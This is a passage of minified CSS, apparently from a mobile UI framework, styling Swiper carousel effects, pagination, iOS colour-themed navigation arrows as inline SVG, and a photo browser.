bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.ios .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.ios .swiper-button-prev,.ios .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-button-next,.ios .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-pagination-bullet-active{background:#007aff}.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-red .swiper-button-prev,.ios .color-theme-red .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-red,.ios .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .swiper-button-next,.ios .color-theme-red .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-red,.ios .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-red .swiper-pagination-bullet-active,.ios .color-theme-red .swiper-pagination-bullet-active{background:#ff3b30}.ios .color-red .swiper-pagination-progressbar,.ios .color-red.swiper-pagination-progressbar,.ios .color-theme-red .swiper-pagination-progressbar,.ios .color-theme-red.swiper-pagination-progressbar{background:rgba(255,59,48,.25)}.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff3b30}.ios .color-theme-green .swiper-button-prev,.ios .color-theme-green .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-green,.ios .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .swiper-button-next,.ios .color-theme-green .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-green,.ios .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-green .swiper-pagination-bullet-active,.ios .color-theme-green .swiper-pagination-bullet-active{background:#4cd964}.ios .color-green .swiper-pagination-progressbar,.ios .color-green.swiper-pagination-progressbar,.ios .color-theme-green .swiper-pagination-progressbar,.ios .color-theme-green.swiper-pagination-progressbar{background:rgba(76,217,100,.25)}.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4cd964}.ios .color-theme-blue .swiper-button-prev,.ios .color-theme-blue .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-blue,.ios .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .swiper-button-next,.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-blue,.ios .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-blue .swiper-pagination-bullet-active,.ios .color-theme-blue .swiper-pagination-bullet-active{background:#007aff}.ios .color-blue .swiper-pagination-progressbar,.ios .color-blue.swiper-pagination-progressbar,.ios .color-theme-blue .swiper-pagination-progressbar,.ios .color-theme-blue.swiper-pagination-progressbar{background:rgba(0,122,255,.25)}.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-pink .swiper-button-prev,.ios .color-theme-pink .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-pink,.ios .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .swiper-button-next,.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-pink,.ios .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-pink .swiper-pagination-bullet-active,.ios .color-theme-pink .swiper-pagination-bullet-active{background:#ff2d55}.ios .color-pink .swiper-pagination-progressbar,.ios .color-pink.swiper-pagination-progressbar,.ios .color-theme-pink .swiper-pagination-progressbar,.ios .color-theme-pink.swiper-pagination-progressbar{background:rgba(255,45,85,.25)}.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff2d55}.ios .color-theme-yellow .swiper-button-prev,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-yellow,.ios .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-button-next,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-yellow,.ios .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-pagination-bullet-active,.ios .color-yellow .swiper-pagination-bullet-active{background:#fc0}.ios .color-theme-yellow .swiper-pagination-progressbar,.ios .color-theme-yellow.swiper-pagination-progressbar,.ios .color-yellow .swiper-pagination-progressbar,.ios .color-yellow.swiper-pagination-progressbar{background:rgba(255,204,0,.25)}.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fc0}.ios .color-theme-orange .swiper-button-prev,.ios .color-theme-orange .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-orange,.ios .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .swiper-button-next,.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-orange,.ios .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-orange .swiper-pagination-bullet-active,.ios .color-theme-orange .swiper-pagination-bullet-active{background:#ff9500}.ios .color-orange .swiper-pagination-progressbar,.ios .color-orange.swiper-pagination-progressbar,.ios .color-theme-orange .swiper-pagination-progressbar,.ios .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,149,0,.25)}.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9500}.ios .color-theme-gray .swiper-button-prev,.ios .color-theme-gray .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-gray,.ios .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .swiper-button-next,.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-gray,.ios .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-gray .swiper-pagination-bullet-active,.ios .color-theme-gray .swiper-pagination-bullet-active{background:#8e8e93}.ios .color-gray .swiper-pagination-progressbar,.ios .color-gray.swiper-pagination-progressbar,.ios .color-theme-gray .swiper-pagination-progressbar,.ios .color-theme-gray.swiper-pagination-progressbar{background:rgba(142,142,147,.25)}.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#8e8e93}.ios .color-theme-white .swiper-button-prev,.ios .color-theme-white .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-white,.ios .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-button-next,.ios .color-theme-white .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-white,.ios .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-pagination-bullet-active,.ios .color-white .swiper-pagination-bullet-active{background:#fff}.ios .color-theme-white .swiper-pagination-progressbar,.ios .color-theme-white.swiper-pagination-progressbar,.ios .color-white .swiper-pagination-progressbar,.ios .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.ios .color-theme-black .swiper-button-prev,.ios .color-theme-black .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-black,.ios .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .swiper-button-next,.ios .color-theme-black .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-black,.ios .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-black .swiper-pagination-bullet-active,.ios .color-theme-black .swiper-pagination-bullet-active{background:#000}.ios .color-black .swiper-pagination-progressbar,.ios .color-black.swiper-pagination-progressbar,.ios .color-theme-black .swiper-pagination-progressbar,.ios .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) 